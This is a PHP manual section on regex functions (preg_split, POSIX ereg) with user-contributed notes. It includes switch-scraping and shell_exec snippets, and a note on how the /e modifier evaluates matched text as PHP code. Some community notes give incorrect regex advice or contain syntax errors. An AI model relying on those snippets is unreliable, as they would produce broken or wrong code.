Using preg_rep to return extracts without breaking the middle of words
(useful for search results)

<?php
$string = "Don't split words";
echo substr($string, 0, 10); // Returns "Don't spli"

$pattern = "/(^.{0,10})(\W+.*$)/";
$replacement = "\${1}";
echo preg_replace($pattern, $replacement, $string); // Returns "Don't"
?>
j-AT-jcornelius-DOT-com
25-Feb-2004 05:02
I noticed that a lot of talk here is about parsing URLs. Try the
parse_url() function in PHP to make things easier.

http://www.php.net/manual/en/function.parse-url.php

- J.
steven -a-t- acko dot net
09-Feb-2004 01:45
People using the /e modifier with preg_replace should be aware of the following weird behaviour. It is not a bug per se, but can cause bugs if you don't know it's there.

The example in the docs for /e suffers from this mistake in fact.

With /e, the replacement string is a PHP expression. So when you use a backreference in the replacement expression, you need to put the backreference inside quotes, or otherwise it would be interpreted as PHP code. Like the example from the manual for preg_replace:

preg_replace("/(<\/?)(\w+)([^>]*>)/e",
             "'\\1'.strtoupper('\\2').'\\3'",
             $html_body);

To make this easier, the data in a backreference with /e is run through addslashes() before being inserted in your replacement expression. So if you have the string

 He said: "You're here"

It would become:

 He said: \"You\'re here\"

...and be inserted into the expression.
However, if you put this inside a set of single quotes, PHP will not strip away all the slashes correctly! Try this:

 print ' He said: \"You\'re here\" ';
 Output: He said: \"You're here\"

This is because the sequence \" inside single quotes is not recognized as anything special, and it is output literally.

Using double-quotes to surround the string/backreference will not help either, because inside double-quotes, the sequence \' is not recognized and also output literally. And in fact, if you have any dollar signs in your data, they would be interpreted as PHP variables. So double-quotes are not an option.

The 'solution' is to manually fix it in your expression. It is easiest to use a separate processing function, and do the replacing there (i.e. use "my_processing_function('\\1')" or something similar as replacement expression, and do the fixing in that function).

If you surrounded your backreference by single-quotes, the double-quotes are corrupt:
$text = str_replace('\"', '"', $text);

People using preg_replace with /e should at least be aware of this.

I'm not sure how it would be best fixed in preg_replace. Because double-quotes are a really bad idea anyway (due to the variable expansion), I would suggest that preg_replace's auto-escaping is modified to suit the placement of backreferences inside single-quotes (which seemed to be the intention from the start, but was incorrectly applied).
Peter
02-Nov-2003 09:00
Suppose you want to match '\n' (that's backslash-n, not newline). The pattern you want is not /\\n/ but /\\\\n/. The reason for this is that before the regex engine can interpret the \\ into \, PHP interprets it. Thus, if you write the first, the regex engine sees \n, which is reads as newline. Thus, you have to escape your backslashes twice: once for PHP, and once for the regex engine.
Travis
18-Oct-2003 06:37
I spent some time fighting with this, so hopefully this will help someone else.

Escaping a backslash (\) really involves not two, not three, but four backslashes to work properly.

So to match a single backslash, one should use:

preg_replace('/(\\\\)/', ...);

or to, say, escape single quotes not already escaped, one could write:

preg_replace("/([^\\\\])'/", "\$1\'", ...);

Anything else, such as the seemingly correct

preg_replace("/([^\\])'/", "\$1\'", ...);

gets evaluated as escaping the ] and resulting in an unterminated character class.

I'm not exactly clear on this issue of backslash proliferation, but it seems to involve the combination of PHP string processing and PCRE processing.
add a note add a note

后退 | 起点 | 前进
preg_replace_callback | 上一级 | preg_split


preg_split

(PHP 3 >= 3.0.9, PHP 4, PHP 5)

preg_split -- 用正则表达式分割字符串

说明

array preg_split ( string pattern, string subject [, int limit [, int flags]] )

返回一个数组，包含 subject 中沿着与 pattern 匹配的边界所分割的子串。

如果指定了 limit，则最多返回 limit 个子串，如果 limit 是 -1，则意味着没有限制，可以用来继续指定可选参数 flags。

flags 可以是下列标记的任意组合（用按位或运算符 | 组合）：

PREG_SPLIT_NO_EMPTY

如果设定了本标记，则 preg_split() 只返回非空的成分。

PREG_SPLIT_DELIM_CAPTURE

如果设定了本标记，定界符模式中的括号表达式也会被捕获并返回。本标记添加于 PHP 4.0.5。

PREG_SPLIT_OFFSET_CAPTURE

如果设定了本标记，如果设定本标记，对每个出现的匹配结果也同时返回其附属的字符串偏移量。注意这改变了返回的数组的值，使其中的每个单元也是一个数组，其中第一项为匹配字符串，第二项为其在 subject 中的偏移量。本标记自 PHP 4.3.0 起可用。

例子 1. preg_split() 例子

<?php
// split the phrase by any number of commas or space characters,
// which include " ", \r, \t, \n and \f
$keywords = preg_split ("/[\s,]+/", "hypertext language, programming");
?>

例子 2. 将字符串分割成字符

<?php
$str = 'string';
$chars = preg_split('//', $str, -1, PREG_SPLIT_NO_EMPTY);
print_r($chars);
?>

例子 3. 将字符串分割为匹配项及其偏移量

<?php
$str = 'hypertext language programming';
$chars = preg_split('/ /', $str, -1, PREG_SPLIT_OFFSET_CAPTURE);
print_r($chars);
?>

本例将输出：

Array
(
    [0] => Array
        (
            [0] => hypertext
            [1] => 0
        )

    [1] => Array
        (
            [0] => language
            [1] => 10
        )

    [2] => Array
        (
            [0] => programming
            [1] => 19
        )

)

注: flags 是 PHP 4 Beta 3 添加的。

参见 spliti()，split()，implode()，preg_match()，preg_match_all() 和 preg_replace()。

add a note add a note User Contributed Notes
superzouz at hotmail dot com
04-Dec-2005 09:53
Be advised

$arr = preg_split("/x/", "x" );
print_r($arr);

will output:

Array
(
   [0] =>
   [1] =>
)

That is it will catch the 2 empty string on each side of the delimiter.
19-Oct-2005 05:30
<?php
$a='BlackHalt';
$b=preg_split('//',$a,-1,PREG_SPLIT_DELIM_CAPTURE);
echo join(' ',$b);
?>
result:
 B l a c k H a l t
nospam at emails dot com
11-Oct-2005 04:55
Looks like this one looks better :)
<?php
$pattern = '/(<(?:[^<>]+(?:"[^"]*"|\'[^\']*\')?)+>)/';
$html_string = '<html><body><p class="a<weird>name">The classname is not seen as a different tag</p></body></html>';
$html_array = preg_split ($pattern, trim ($html_string), -1, PREG_SPLIT_DELIM_CAPTURE | PREG_SPLIT_NO_EMPTY);
?>
ia [AT] zoznam [DOT] sk
19-Sep-2005 02:50
to afterlife69 [at] GamerzVault.com:

wouldn't it be better to use just
<?php
$str = sha1( 'string' );
echo substr( $str, 0, 32 );
?>
???
afterlife69 [at] GamerzVault.com
21-Aug-2005 10:50
This is something ive needed for awhile, a way to limit the length of a string.

<?php
function limit_length($string, $length)
{
   $chars = preg_split('//', $string, -1, PREG_SPLIT_NO_EMPTY);
   for($i = 0; $i < intval($length); $i++)
   {
       if(!empty($new_str))
       {
           $new_str .= $chars[$i];
       }
       else
       {
           $new_str = $chars[$i];
       }
   }
   return $new_str;
}

$str = sha1('string');
echo limit_length($str, 32);

?>

32Char SHA1 will trick them anyday ^^
Jappie
06-Aug-2005 10:06
sorry, preview parses differently than the actual post :(

<?php
  $pattern = '/(<(?:[^<>]+(?:"[^"]*"|\'[^\']*\')?)+>)/';
?>
Jappie
05-Aug-2005 03:36
The following pattern will match a html tag:

<?php
  $pattern = '/(<(?:[^<>]+(?:"[^"]*"|\\'[^']*\\')?)+>)/';
?>

So the following will nicely convert a string of html to an array, where each array-item is 1 tag or text within a tag:

<?php
  $html_string = '<html><body><p class="a<weird>name">The classname is not seen as a different tag</p></body></html>';
  $html_array = preg_split ('/(<(?:[^<>]+(?:"[^"]*"|\\'[^\\']*\\')?)+>)/', trim ($html), -1, PREG_SPLIT_DELIM_CAPTURE | PREG_SPLIT_NO_EMPTY);
?>

Array
(
   [0] => <html>
   [1] => <body>
   [2] => <p class="a<weird>name">
   [3] => The classname is not seen as a different tag
   [4] => </p>
   [5] => </body>
   [6] => </html>

)
RichardWalton1978@hotmaildotcom
22-Jul-2005 05:59
I have been searching for a method to get the IP details from a unix based (solaris) interface and found this to be useful.

$devicen = "iprb1";

$temp = preg_split("/[\s]+/",shell_exec("/sbin/ifconfig $devicen | /bin/grep \"inet\""), -1, PREG_SPLIT_NO_EMPTY);

$ipaddress = $temp[1];
$netmask = $temp[3];
$gateway = $temp[5];

print_r ($temp);
print "<BR>This is the current IP Address: $ipaddress<BR>
this is the current netmask: $netmask<BR>
this is the current default gateway $gateway<BR>";
richard dot lajaunie at cote-azur dot cci dot fr
18-May-2005 10:44
<?
/************************************************************
* Author: Richard Lajaunie
* Mail : richard.lajaunie@cote-azur.cci.fr
*
* subject : this script retreive all mac-addresses on all ports
* of a Cisco 3548 Switch by a telnet connection
*
* base on the script by: xbensemhoun at t-systems dot fr on the same page
**************************************************************/

if ( array_key_exists(1, $argv) ){
   $cfgServer = $argv[1];
}else{
   echo "ex: 'php test.php 10.0.0.0' \n";
   exit;
}

$cfgPort    = 23;                //port, 22 if SSH
$cfgTimeOut = 10;

$usenet = fsockopen($cfgServer, $cfgPort, $errno, $errstr), $cfgTimeOut);

if(!$usenet){
       echo "Connexion failed\n";
       exit();
}else{
       echo "Connected\n";
       fputs ($usenet, "password\r\n");
       fputs ($usenet, "en\r\n");
       fputs ($usenet, "password\r\n");
       fputs ($usenet, "sh mac-address-table\r\n");
       fputs ($usenet, " "); // this space bar is this for long output

       // this skip non essential text
       $j = 0;
       while ($j<16){
       fgets($usenet, 128);
       $j++;
       }
   stream_set_timeout($usenet, 2); // set the timeout for the fgets
   $j = 0;
       while (!feof($usenet)){
       $ret = fgets($usenet, 128);
       $ret = str_replace("\r", '', $ret);
       $ret = str_replace("\n", "", $ret);
       if  (ereg("FastEthernet", $ret)){
           echo "$ret \n";
       }
       if (ereg('--More--', $ret) ){
           fputs ($usenet, " "); // for following page
       }
       $info = stream_get_meta_data($usenet);
       if ($info['timed_out']) {
           $j++;
       }
       if ($j >2){
           fputs ($usenet, "lo");
           break;
       }
   }
}
echo "End.\r\n";
?>
berndt at www dot michael - berndt dot de
30-Apr-2005 04:13
FindDuplicatesPosition() with preg_split()
http://www.michael-berndt.de/ie/tux/duplicate_words_position.htm
berndt at michael - berndt dot de
30-Apr-2005 02:58
find duplicate words with preg_split()
http://www.michael-berndt.de/ie/tux/duplicate_words.htm
s
24-Mar-2005 01:22
'galium at sandnarrows dot com' misunderstanded.
he wrote ' Notice the delimiters are missing', but the delimiters are not missing.
when using preg_*() functions, you need to quote pattern with 'delimiters', for example '/', '#', '@', or '(' and ')'.
in the context of preg_split(), 'the delimiters' means both,
 (A)delimiters of pattern - which quote pattern
 (B)delimiter pattern    - which split the string to array

in his first code,
<?php
  preg_split('( and | or | not )',"blah and blarg or ick",-1,PREG_SPLIT_DELIM_CAPTURE);
?>
the '(' and ')' is a delimiter of pattern strings(A). this is same as...
<?php
  preg_split('/ and | or | not /',"blah and blarg or ick",-1,PREG_SPLIT_DELIM_CAPTURE);
  // or
  preg_split('! and | or | not !',"blah and blarg or ick",-1,PREG_SPLIT_DELIM_CAPTURE);
  // and so on...
?>
so, It returns: Array ( [0] => blah [1] => blarg [2] => ick ). (there is no doubt nor any bugs)
the delimiters(A) are not missing. and the delimiter pattern(B) is ' and | or | not'.

then, in the following code...
<?php
  preg_split('(( and )|( or )|( not ))',"blah and blarg or ick",-1,PREG_SPLIT_DELIM_CAPTURE);
?>
the first '(', and last ')' is a delimiter of pattern strings, and second, third, firth '(' and ')' make subpatterns('parenthesized expression').
this is same as...
<?php
  preg_split('/( and )|( or )|( not )/',"blah and blarg or ick",-1,PREG_SPLIT_DELIM_CAPTURE);
?>
and so on...
the delimiters(A) are not missing. and the delimiter pattern(B) is '( and )|( or )|( not)' ( this is same as ' (and|or|not) ').

Sorry for my bad English. ( can you understand?)
hope this can help some one.
and also hope, some one rewite this to good English.
Steve
24-Mar-2005 12:41
preg_split() behaves differently from perl's split() if the string ends with a delimiter. This perl snippet will print 5:

my @a = split(/ /, "a b c d e ");
print scalar @a;

The corresponding php code prints 6:

print count(preg_split("/ /", "a b c d e "));

This is not necessarily a bug (nowhere does the documentation say that preg_split() behaves the same as perl's split()) but it might surprise perl programmers.
jetsoft at iinet.net.au
25-Sep-2004 11:01
To clarify the "limit" parameter and the PREG_SPLIT_DELIM_CAPTURE option,

$preg_split('(/ /)', '1 2 3 4 5 6 7 8', 4 ,PREG_SPLIT_DELIM_CAPTURE );
returns

('1', ' ', '2', ' ' , '3', ' ', '4 5 6 7 8')

So you actually get 7 array items not 4
tuxedobob
25-Sep-2004 01:24
The documentation for the "limit" parameter may be slightly confusing. "limit" does indeed work like the limit of explode, in that the "limit"th substring will contain the rest of the string passed, _not_ that it will split it fully and return only the first "limit"th strings. Therefore:

$preg_split('/ /', '1 2 3 4 5 6 7 8 9', 4);

returns

('1', '2', '3', '4 5 6 7 8 9')

and _not_

('1', '2', '3', '4').

Although explode has an example of this, there is none here.
e at arix dot com
19-Jul-2004 05:51
I needed a function to highlight strings in a piece of text that could be marked up.  the task couldn't be accomplished with a single preg_replace so I wrote the code below which processes only the parts of the text _outside_ markup tags.

for example: with the text:

click on <a href="nowhere.html">nothing</a>!

I wanted to "highlight" a string (e.g. "no"), producing:

click on <a href="nowhere.html"><span class="hilite">no</span>thing</a>!

and not:

click on <a href="<span class="hilite">no</span>where.html"><span class="hilite">no</span>thing</a>!

hope this helps someone!

<?php
function hilites($search, $txt) {
   $r = preg_split('((>)|(<))', $txt, -1, PREG_SPLIT_DELIM_CAPTURE);
   for ($i = 0; $i < count($r); $i++) {
       if ($r[$i] == "<") {
           $i++; continue;
           }
       $r[$i] = preg_replace(
           "/($search)/i", "<span class='hilite'>\\1</span>", $r[$i]
           );
       }
   return join("", $r);
   }
?>
ed_isthmusNOSPAM at yahoo dot com
07-Feb-2004 05:26
I needed to encode special html characters in strings, but keep some of the tags working! This function does the deed:
<?php
function html_out_keep_tags ($string) {
  $newstring = '';
  $pattern = '/(<\/?(?:a .*|h1|h2|b|i)>)/ims';
  $newarray = preg_split( $pattern, $string, -1, PREG_SPLIT_DELIM_CAPTURE | PREG_SPLIT_NO_EMPTY );
  foreach ($newarray as $element) {
   if (!preg_match($pattern, $element))
     $element = htmlspecialchars ( html_entity_decode($element, ENT_QUOTES), ENT_QUOTES);
   $newstring .= $element;
  }
  return $newstring;
}
?>
edit $pattern to change the allowed tags.
Note that ?: usefully prevents the sub-pattern from becoming a delimiter. Double encoding is prevented, see notes on htmlspecialchars().
galium at sandnarrows dot com
29-Oct-2003 10:15
Struggled with this today and just thought I would toss out a note in case anyone else has a problem. When using PREG_SPLIT_DELIM_CAPTURE the note about parenthesized expression is rather important.

If you do: preg_split('( and | or | not )',"blah and blarg or ick",-1,PREG_SPLIT_DELIM_CAPTURE);

It returns: Array ( [0] => blah [1] => blarg [2] => ick )

Notice the delimiters are missing.

If you put extra () in: preg_split('(( and )|( or )|( not ))',"blah and blarg or ick",-1,PREG_SPLIT_DELIM_CAPTURE);

It returns: Array ( [0] => blah [1] => and [2] => blarg [3] => [4] => or [5] => ick )
Shelby Moore III
29-Aug-2003 02:32
Note when using PREG_SPLIT_DELIM_CAPTURE, "limit" does include the count of parenthesized delimiter strings returned.

More succinctly, if "limit" != 1, "limit" / 2 is the maximum number of splits you allow.
redph0enix at hotmail dot com
18-Mar-2003 08:52
preg_split is very useful for splitting up the http common log. Sample:

<?php
$line = '10.0.0.2 - - [17/Mar/2003:18:03:08 +1100] "GET /images/org_background.gif HTTP/1.0" 200 2321 "http://10.0.0.3/login.php" "Mozilla/5.0 Galeon/1.2.7 (X11; Linux i686; U;) Gecko/20021203"';

$elements = preg_split('/^(\S+) (\S+) (\S+) \[([^\]]+)\] "([^"]+)" (\S+) (\S+) "([^"]+)" "([^"]+)"/', $line,-1,PREG_SPLIT_DELIM_CAPTURE | PREG_SPLIT_NO_EMPTY);

print_r($elements);
?>

Results:
Array
(
   [0] => 10.0.0.2
   [1] => -
   [2] => -
   [3] => 17/Mar/2003:18:03:08 +1100
   [4] => GET /images/org_background.gif HTTP/1.0
   [5] => 200
   [6] => 2321
   [7] => http://10.0.0.3/login.php
   [8] => Mozilla/5.0 Galeon/1.2.7 (X11; Linux i686; U;) Gecko/20021203
)
dave at codewhore dot org
30-May-2002 03:01
The above description for PREG_SPLIT_OFFSET_CAPTURE may be a bit confusing.

When the flag is or'd into the 'flags' parameter of preg_split, each match is returned in the form of a two-element array. For each of the two-element arrays, the first element is the matched string, while the second is the match's zero-based offset in the input string.

For example, if you called preg_split like this:

preg_split('/foo/', 'matchfoomatch', -1, PREG_SPLIT_OFFSET_CAPTURE);

it would return an array of the form:

Array(
  [0] => Array([0] => "match", [1] => 0),
  [1] => Array([1] => "match", [1] => 8)
)

Note that or'ing in PREG_DELIM_CAPTURE along with PREG_SPLIT_OFFSET_CAPTURE works as well.
add a note add a note

后退 | 起点 | 前进
preg_replace | 上一级 | POSIX 扩展正则表达式函数


POSIX 扩展正则表达式函数

PHP 手册
后退 前进

CXXIII. POSIX 扩展正则表达式函数

简介

提示: PHP 也支持使用 Perl 兼容语法的 PCRE 函数，支持 non-greedy 匹配，断言，条件子模式以及其它许多 POSIX 扩展正则表达式语法所不支持的特性。

警告

本类正则表达式并不能安全用于二进制模式。PCRE 函数则可以。

正则表达式在 PHP 中用来做复杂的字符串操作。PHP 使用 POSIX 扩展的正则表达式，其由 POSIX 1003.2 定义。对于 POSIX 正则表达式完整的说明见 regex 手册页，位于 PHP 发布包中的 regex 目录下。这是 UNIX 下的手册格式，需要用类似如下命令 man /usr/local/src/regex/regex.7 来阅读。

需求

要编译本扩展模块不需要外部库文件。

安装

警告

除非知道自己在做什么，否则不要改变 TYPE。

要激活 regexp 的支持在配置 PHP 时加上 --with-regex[=TYPE]。TYPE 可以是 system，apache 或 php 之一。默认使用 php。

PHP 的 Windows 版本已经内置该扩展模块的支持。无需加载任何附加扩展库即可使用这些函数。

运行时配置

本扩展模块在 php.ini 中未定义任何配置选项。

资源类型

本扩展模块未定义任何资源类型。

预定义常量

本扩展模块未定义任何常量。

范例

例子 1. 正则表达式例子

<?php
// 如果在 $string 中任何地方找到 "abc" 则返回 &true;
ereg ("abc", $string);

// 如果 $string 以 "abc" 开头则返回 &true;
ereg ("^abc", $string);

// 如果 $string 以 "abc" 结尾则返回 &true;
ereg ("abc$", $string);

// 如果用户浏览器是 Netscape 2，3 或 MSIE 3 则返回 &true;
eregi ("(ozilla.[23]|MSIE.3)", $HTTP_USER_AGENT);

// 将三个空格分隔的单词放入 $regs[1]，$regs[2] 和 $regs[3] 中
ereg ("([[:alnum:]]+) ([[:alnum:]]+) ([[:alnum:]]+)", $string,$regs);

// 将 <br /> 标记放到 $string 开头
$string = ereg_replace ("^", "<br />", $string);

// 将 <br /> 标记放到 $string 结尾
$string = ereg_replace ("$", "<br />", $string);

// 删除 $string 中的所有换行符
$string = ereg_replace ("\n", "", $string);
?>

参见

Perl 兼容语法的正则表达式见 PCRE 函数。简单的命令行解释器风格的通配符匹配由 fnmatch() 提供。

目录
ereg_replace -- 替换正则表达式
ereg -- 正则表达式匹配
eregi_replace -- 不区分大小写替换正则表达式
eregi -- 不区分大小写的正则表达式匹配
split -- 用正则表达式将字符串分割到数组中
spliti -- 用正则表达式不区分大小写将字符串分割到数组中
sql_regcase -- 产生用于不区分大小的匹配的正则表达式

add a note add a note User Contributed Notes
nate[-at-]theklaibers[-dot-]com
08-Feb-2006 04:19
I am using a regex with the same thought process in mind as the earlier phone number. However, I have also implemented it to allow the '1' so a number like.

1 222 222 2222 would still be valid as well (along with all of the other combinations.

In my regex, I pull out the matches - not the exact string. So if someone were to forget a bracket, it wouldnt matter to the actual output as it is stripped from that match.

So, if you put in 222) 233 3454, the matches would only pull out 1=>222, 2=>233, 3=>3454

This has been very helpful in tweaking my regex.

Thanks,
Nate
ajd at cloudiness dot com
24-Aug-2005 12:05
A minor tweak to trucex' phone validator, because some people use a dot separator between the area code, exchange and four-digit block.
Posted here for your copy-and-paste convenience.

$regex = '^[(]?[2-9]{1}[0-9]{2}[) -.]{0,2}' . '[0-9]{3}[- .]?' . '[0-9]{4}[ ]?' . '((x|ext)[.]?[ ]?[0-9]{1,5})?$';
nothing at nothing dot com
30-Jul-2005 06:35
His regular expression is correct, the ^ is to check for the beginning of the string. It is just looking for delimiter characters, try putting slashes around it.
"/<regex>/"
stringer at stringerstudios dot com
29-Jul-2005 08:07
Hey trucex. Cool phone number function but your $regex produces the following error. Warning: No ending delimiter '^' found

Instead of:
$regex = '^[(]?[2-9]{1}[0-9]{2}[) -]{0,2}' . '[0-9]{3}[- ]?' . '[0-9]{4}[ ]?' . '((x|ext)[.]?[ ]?[0-9]{1,5})?$';

It think should be:
$regex = '^[(]?[2-9]{1}[0-9]{2}[) -]{0,2}' . '[0-9]{3}[- ]?' . '[0-9]{4}[ ]?' . '((x|ext)[.]?[ ]?[0-9]{1,5})?$^';
trucex[at] gmail
28-Jul-2005 02:00
I was having a ton of issues with other people's phone number validation expressions, so I made my own. It works with most US phone numbers, including those with extentions. Format matches any of the following formats:

5551234567
555 1234567
555 123 4567
555 123-4567
555-1234567
555-123-4567
555123-4567
(555)1234567
(555)123 4567
(555)123-4567
(555) 1234567
(555) 123-4567
(555) 123 4567

And any of the following extentions can be added with or without a space between them and the number:
x123
x.123
x. 123
x 123
ext.123
ext. 123
ext 123
ext123

Extentions support between 1 and 5 digits.

Here is the expression:

$regex = '^[(]?[2-9]{1}[0-9]{2}[) -]{0,2}' . '[0-9]{3}[- ]?' . '[0-9]{4}[ ]?' . '((x|ext)[.]?[ ]?[0-9]{1,5})?$';

Enjoy!
php at erikjan dot net
19-Feb-2005 08:28
To add to tgt's tip for metacharacters.
To test for a whole word, use [[:<:]]yourword[[:>:]]
franck569 at free dot fr
31-Jan-2005 11:14
if you want to exclude a WORD, use this :

[^[WORD]]{0}

@++, Franck569.
annie
09-Sep-2004 08:17
Another nice tuturial about regular expressions: http://www.mkssoftware.com/docs/man5/regexp.5.asp
tgt at tip dot nl
08-Sep-2004 05:17
Tip !
Metacharacters in regular expresions are usefull and easy to use.

The following is a set of special values that denote certain common ranges. They have the advantage that also take in account the 'locale' i.e. any variant of the local language/coding system.

[:digit:]      Only the digits 0 to 9
[:alnum:]      Any alphanumeric character 0 to 9 OR A to Z or a to z.
[:alpha:]      Any alpha character A to Z or a to z.
[:blank:]      Space and TAB characters only.
[:xdigit:]    .
[:punct:]      Punctuation symbols . , " ' ? ! ; :
[:print:]      Any printable character.
[:space:]      Any space characters.
[:graph:]      .
[:upper:]      Any alpha character A to Z.
[:lower:]      Any alpha character a to z.
[:cntrl:]        .
mina86 at tlen dot pl
20-Oct-2003 01:14
I tested how fast POSIX and Perl regular expresions are, and here are the results:

           | POSIX Extended  | Perl-Compatible |  POSIX - Perl
-----------+-----------------+-----------------+-----------------
     match |    0.1296420097 |    0.1006720066 |  0.0289700031
   match i |    0.1204010248 |    0.1101620197 |  0.0102390051
   replace |    0.1896649599 |    0.1298999786 |  0.0597649813
 replace i |  10.6998120546 |    0.1453789473 | 10.5544331074

So, as you can see, preg_* functions are faster then ereg* functions. You can find source code of my test script here: http://mina86.home.staszic.waw.pl/temp/regexp-speed-test.txt
Robin
16-Jan-2003 02:53
Ever wondered how to exclude "[" and "]"?
Here it goes: "[^][]". Extra characters to exclude can beadded right in the middle like this: "[^]fobar[]".
moc DOT liamtoh AT ssengnorw
19-Oct-2002 12:28
In a PCRE \s matches whitespace, but not inside a character class:

preg_match ('/\s/', ' ') // match
preg_match ('/[\s]/', ' ') // no match

Within a character class [:space:] is treated as a single character that matches any single whitespace character:

$pattern = '/[[:space:]]/';
$subject = "space tab\tnewline\n";
preg_match_all($pattern, $subject, $out) // == 3

To match a hyphen from within a character class, it must either be first or last; otherwise, it will act as a range operator.

Example: To match a blank string or a string containing only uppercase letters, underscores, spaces, and hyphens:

preg_match('/^[A-Z_ -]*$/', $subject)

To match any whitespace, not just spaces:

preg_match('/^[A-Z_[:space:]-]*$/', $subject)
paper
09-Sep-2002 02:57
I have also experienced the same problem as bps7j@yahoo.com had been experiencing, except I did not recognize the problem until after many hours of debugging.

"\s" does not seem to represent spaces, however "[[:space:]]" does.

Another problem I was having was matching dashes/hyphens '-'. You must escape them "\-" and place them at the end of a bracket expression.

Example: To match a blank string or a string containing only uppercase letters, underscores, spaces, and hyphens:

^([A-Z_\-]|[[:space:]])*$

Hope this saves someone some time from debugging like I was. :)
bps7j at yahoo dot com
22-Aug-2002 10:40
Something that really got me: I'm used to using Perl's regexps, and so I used \s to check for a whitespace character in a password on a website. My PHP book (Wrox Press, Professional PHP Programming) agreed with me that this is exactly the same as [ \r\n\t\f\v], but it's NOT. In fact, what it did was keep anyone from joining the site if they put an 's' in their password! So beware, check for subtle differences between what you're used to and PHP.

[[:space:]] works fine, by the way.

I'm going to use the pcre functions from now on... I like Perl :o)
david at NOgreenhammerSPAM dot com
10-Mar-2002 02:40
Sadly, the Posix regexp evaluator (PHP 4.1.2) does not seem to support multi-character coallating sequences, even though such sequences are included in the man-page documentation.

Specifically, the man-page discusses the expression "[[.ch.]]*c" which matches the first five characters of "chchcc".  Running this expression in ereg_replace generates the error "Warning: REG_ECOLLATE".  (Running an equivalent expression with only one character between the periods does work, however.)

Multi-character coallating sequences are not supported!

This is really, really too bad, because it would have provided a simple way to exlude words from the target.

I'm going to go learn PCRE, now.  :-(
regex at dan42 dot cjb dot net
08-Mar-2002 02:33
Follow-up to my previous post:
Some simple optimization allowed me to realize that excluding a word at the beginning of a string has a degree of complexity O(n) rather than O(n^2). I only had to follow the logic:

if str[0] != badword[0] then OK
else
  if str[1] != badword[1] then OK
  else
   if str[2] != badword[2] then OK
   else ...

So excluding the word 'abc' at the beginning of a string is much more simple than I had made it out to be:
  ^([^a]|a[^b]|ab[^c])
spiceee at potentialvalleys dot com
07-Mar-2002 02:26
sorry to be picky here but saying ^ is beginning of a line or $ is end of line is rather misleading, if you're working on a daily basis with regexes.

it might be that it is most of the time correct BUT in some occasions you'd be better off to think of ^ as "start of string" and $ as "end of string".

there are ways to make your regex engine forget about your system's notion of a newline, it's what is commonly refered to as multiline regexes...
luciano_at_braziliantranslation.net
04-Mar-2002 04:15
mholdgate wrote a very nice quick reference guide in the next page (http://www.php.net/manual/en/function.ereg.php), but I felt it could be improved a little:
________________

^        Start of line
$        End of line
n?        Zero or only one single occurrence of character 'n'
n*        Zero or more occurrences of character 'n'
n+        At least one or more occurrences of character 'n'
n{2}        Exactly two occurrences of 'n'
n{2,}        At least 2 or more occurrences of 'n'
n{2,4}        From 2 to 4 occurrences of 'n'
.        Any single character
()        Parenthesis to group expressions
(.*)        Zero or more occurrences of any single character, ie, anything!
(n|a)        Either 'n' or 'a'
[1-6]        Any single digit in the range between 1 and 6
[c-h]        Any single lower case letter in the range between c and h
[D-M]        Any single upper case letter in the range between D and M
[^a-z]        Any single character EXCEPT any lower case letter between a and z.

       Pitfall: the ^ symbol only acts as an EXCEPT rule if it is the
       very first character inside a range, and it denies the
       entire range including the ^ symbol itself if it appears again
       later in the range. Also remember that if it is the first
       character in the entire expression, it means "start of line".
       In any other place, it is always treated as a regular ^ symbol.
       In other words, you cannot deny a word with ^undesired_word
       or a group with ^(undesired_phrase).
       Read more detailed regex documentation to find out what is
       necessary to achieve this.

[_4^a-zA-Z]    Any single character which can be the underscore or the
       number 4 or the ^ symbol or any letter, lower or upper case

?, +, * and the {} count parameters can be appended not only to a single character, but also to a group() or a range[].

therefore,
^.{2}[a-z]{1,2}_?[0-9]*([1-6]|[a-f])[^1-9]{2}a+$
would mean:

^.{2}        = A line beginning with any two characters,
[a-z]{1,2}    = followed by either 1 or 2 lower case letters,
_?        = followed by an optional underscore,
[0-9]*        = followed by zero or more digits,
([1-6]|[a-f])    = followed by either a digit between 1 and 6 OR a
       lower case letter between a and f,
[^1-9]{2}    = followed by any two characters except digits
       between 1 and 9 (0 is possible),
a+$        = followed by at least one or more
       occurrences of 'a' at the end of a line.
regex at dan42 dot cjb dot net
21-Feb-2002 01:12
It's easy to exclude characters but excluding words with a regular expression is a bit more tricky. For parentheses there is no equivalent to the ^ for brackets. The only way I've found to exclude a string is to proceed by inverse logic: accept all the words that do NOT correspond to the string. So if you want to accept all strings except those _begining_ with "abc", you'd have to accept any string that matches one of the following:
  ^(ab[^c])
  ^(a[^b]c)
  ^(a[^b][^c])
  ^([^a]bc)
  ^([^a]b[^c])
  ^([^a][^b]c)
  ^([^a][^b][^c])

which, put together, gives the regex
  ^(ab[^c]|a[^b]c|a[^b][^c]|[^a]bc|[^a]b[^c]|[^a][^b]c|[^a][^b][^c])

Note that this won't work to detect the word "abc" anywhere in a string. You need to have some way of anchoring the inverse word match
like: ^(a[^b]|[^a]b|[^a][^b])  ;"ab" not at begining of line
  or: (a[^b]|[^a]b|[^a][^b])&  ;"ab" not at end of line
  or: 123(a[^b]|[^a]b|[^a][^b]) ;"ab" not after "123"

I don't know why "(abc){0,0}" is an invalid synthax. It would've made all this much simpler.

Slightly off-topic, here's a regex date validator (format yyyy-mm-dd, remove all spaces and linefeeds):
  ^(19|20)([0-9]{2}-((0[13-9]|1[0-2])-(0[1-9]|[12][0-9]|30)|
  (0[13578]|1[02])-31|02-(0[1-9]|1[0-9]|2[0-8]))|([2468]0|
  [02468][48]|[13579][26])-02-29)$
03-Feb-2002 11:02
if you are looking for the abbreviations like tab, carriage return, regex-class definitions

you should look here:
http://elvin.dstc.edu.au/doc/regex.html

some excerpts:

   \a    control characters bell
   \b    backspace
   \f    form feed
   \n    line feed
   \r    carriage return
   \t    horizontal tab
   \v    vertical tab

class example
   \cLu    all uppercase letters
bart at framers dot nl
07-Mar-2001 10:53
Dario seems to have made a nice tutorial about regular expressions:

http://www.phpbuilder.com/columns/dario19990616.php3

Thanks Dario! ...
add a note add a note

后退 | 起点 | 前进
preg_split | 上一级 | ereg_replace


ereg_replace

(PHP 3, PHP 4, PHP 5)

ereg_replace -- 替换正则表达式

说明

string ereg_replace ( string pattern, string replacement, string string )

本函数在 string 中扫描与 pattern 匹配的部分，并将其替换为 replacement。

返回替换后的字符串。（如果没有可供替换的匹配项则会返回原字符串。）

如果 pattern 包含有括号内的子串，则 replacement 可以包含形如 \\digit 的子串，这些子串将被替换为数字表示的的第几个括号内的子串；\\0 则包含了字符串的整个内容。最多可以用九个子串。括号可以嵌套，此情形下以左圆括号来计算顺序。

如果未在 string 中找到匹配项，则 string 将原样返回。

